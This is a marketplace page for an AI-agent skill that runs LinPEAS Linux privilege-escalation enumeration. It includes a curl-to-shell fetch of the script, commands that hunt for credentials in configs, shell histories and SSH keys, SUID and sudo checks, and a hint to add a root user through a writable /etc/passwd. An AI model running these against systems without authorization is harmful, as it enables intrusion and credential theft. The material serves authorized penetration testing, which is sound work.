Skip to content
Security
Skill

/privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating

From plugin
secopsagentkit
23031 skills

Claude Code

$ npx -y skills add AgentSecOps/SecOpsAgentKit --skill privesc-linpeas --agent claude-code

SKILL.md

privesc-linpeas.SKILL.md
name: privesc-linpeas
description: >
  Linux privilege escalation enumeration and attack surface analysis using LinPEAS
  (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery
  of escalation vectors, misconfigurations, and credential exposure on Linux targets.
  Use when: (1) Enumerating privilege escalation vectors after initial access on a
  Linux system, (2) Identifying SUID/SGID binaries, sudo misconfigurations, and
  capability abuses, (3) Hunting for credentials in config files, history, and logs,
  (4) Detecting container breakout opportunities and writable service files, (5)
  Mapping kernel exploits and CVE exposure for a target system, (6) Conducting
  authorized CTF, red team, or penetration test post-exploitation phases.
version: 0.1.0
maintainer: SirAppSec
category: offsec
tags: [privesc, linpeas, post-exploitation, linux, enumeration, red-team, privilege-escalation]
frameworks: [MITRE-ATT&CK, PTES]
dependencies:
  tools: [curl, bash, python3]
  optional: [wget]
references:
  - https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
  - https://attack.mitre.org/tactics/TA0004/
  - https://attack.mitre.org/tactics/TA0007/

LinPEAS Linux Privilege Escalation

Overview

LinPEAS (Linux Privilege Escalation Awesome Script) is the most comprehensive automated enumeration tool for identifying privilege escalation vectors on Linux systems. It checks 200+ attack vectors, color-codes findings by severity, and maps results to GTFOBins and MITRE ATT&CK.

**IMPORTANT**: Use only on systems where you have explicit written authorization. Unauthorized use constitutes computer fraud. All actions should be conducted within defined engagement scope.

Quick Start

# Download and run LinPEAS directly (no-install, in-memory)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output for analysis
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt

# Stealth / faster scan (skips time-consuming checks)
/tmp/linpeas.sh -s 2>&1 | tee /tmp/linpeas_fast.txt

**Script variants** (choose based on environment):

  • `linpeas.sh` — default, includes linux exploit suggester
  • `linpeas_fat.sh` — embeds third-party tools (no internet needed on target)
  • `linpeas_small.sh` — essential checks only, smallest footprint

Use `scripts/linpeas_runner.py` for structured JSON output and automated triage.

Core Workflow

Post-Exploitation Enumeration Workflow

Progress: [ ] 1. Verify authorization and document scope [ ] 2. Transfer or fetch LinPEAS to target (curl, wget, or scp) [ ] 3. Execute scan: `./linpeas.sh -a 2>&1 | tee linpeas_output.txt` [ ] 4. Triage findings by severity (RED = critical, YELLOW = medium) [ ] 5. Validate top vectors manually before exploitation [ ] 6. Attempt privilege escalation using highest-confidence vector [ ] 7. Verify privilege level: `id && whoami` [ ] 8. Document exploitation path and clean up artifacts

Severity Color Guide

| Color | Meaning | |---------|------------------------------------------------------| | RED+ | 95% escalation probability (exploit immediately) | | RED | High confidence vector (validate then exploit) | | YELLOW | Interesting finding (requires manual review) | | GREEN | Low-risk information |

Targeted Scans (Faster Execution)

# SUID/SGID binaries only
find / -perm -4000 -o -perm -2000 2>/dev/null | xargs ls -la

# Sudo permissions
sudo -l

# Running processes and services
ps aux && systemctl list-units --type=service --state=running

# Capabilities
/usr/sbin/getcap -r / 2>/dev/null

# Writable paths in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type f 2>/dev/null

# Cron jobs
cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null

# Network connections and open ports
ss -tulpn; netstat -tulpn 2>/dev/null

Key Attack Vectors

See [references/privesc_vectors.md](references/privesc_vectors.md) for detailed exploitation steps per vector.

Tier 1: High-Confidence Escalation Paths

**Sudo Misconfigurations**

sudo -l
# Look for: NOPASSWD entries, unrestricted shells, wildcard abuse
# GTFOBins: https://gtfobins.github.io/

**SUID Binaries**

find / -perm -u=s -type f 2>/dev/null
# Cross-reference with GTFOBins for exploitation techniques

**Writable /etc/passwd or /etc/shadow**

ls -la /etc/passwd /etc/shadow
# If writable: add root user with known hash

**Kernel Exploits**

uname -r && cat /etc/os-release
# Use linpeas output: check CVE suggestions for kernel version

Tier 2: Credential Hunting

# Bash history
cat ~/.bash_history; find / -name ".bash_history" 2>/dev/null | xargs cat

# Config files with passwords
grep -r "password\|passwd\|secret\|token" /etc /opt /var/www 2>/dev/null --include="*.conf" --include="*.cfg" --include="*.ini"

# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null

Tier 3: Container / Environment Breakout

# Detect container environment
cat /proc/1/cgroup | grep -i docker
ls /.dockerenv 2>/dev/null
env | grep -i kube

# Check for privileged container
cat /proc/self/status | grep CapEff
# Full capabilities (0000003fffffffff) = privileged container

See [references/mitre_mapping.md](references/mitre_mapping.md) for MITRE ATT&CK technique mappings.

Security Considerations

  • **Authorization**: Obtain explicit written authorization before running. Document engagement scope.
  • **Sensitive Data**: LinPEAS output contains credentials, hashes, and keys — treat as highly sensitive. Encrypt at rest, delete after engagement.
  • **Audit Logging**: Log all commands executed with timestamps in engagement notes.
Read more
@agentsecops
Ships withsecopsagentkit

An assortment of security operations skills for AI coding agents. A collaborative approach to shift-left security using Claude Code skills.

Stars on GitHub

Momentum

stars in total
230
Star history of AgentSecOps/SecOpsAgentKit on GitHub, a chart by star-history.com

Other skills on secopsagentkit.

api-spectral

api-spectral

API specification linting and security validation using Stoplight's Spectral with support for OpenAPI, AsyncAPI, and Arazzo…

dast-ffuf

dast-ffuf

Fast web fuzzer for DAST testing with directory enumeration, parameter fuzzing, and virtual host discovery. Written in Go for…

dast-nuclei

dast-nuclei

Fast, template-based vulnerability scanning using ProjectDiscovery's Nuclei with extensive community templates covering CVEs,…

dast-zap

dast-zap

Dynamic application security testing (DAST) using OWASP ZAP (Zed Attack Proxy) with passive and active scanning, API testing, and…

sast-bandit

sast-bandit

Python security vulnerability detection using Bandit SAST with CWE and OWASP mapping. Use when: (1) Scanning Python code for…

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

nemoclaw11d23k
@nvidia@nvidiaInstall Skill

Questions about privesc-linpeas.

Which coding agents can use privesc-linpeas?
privesc-linpeas installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.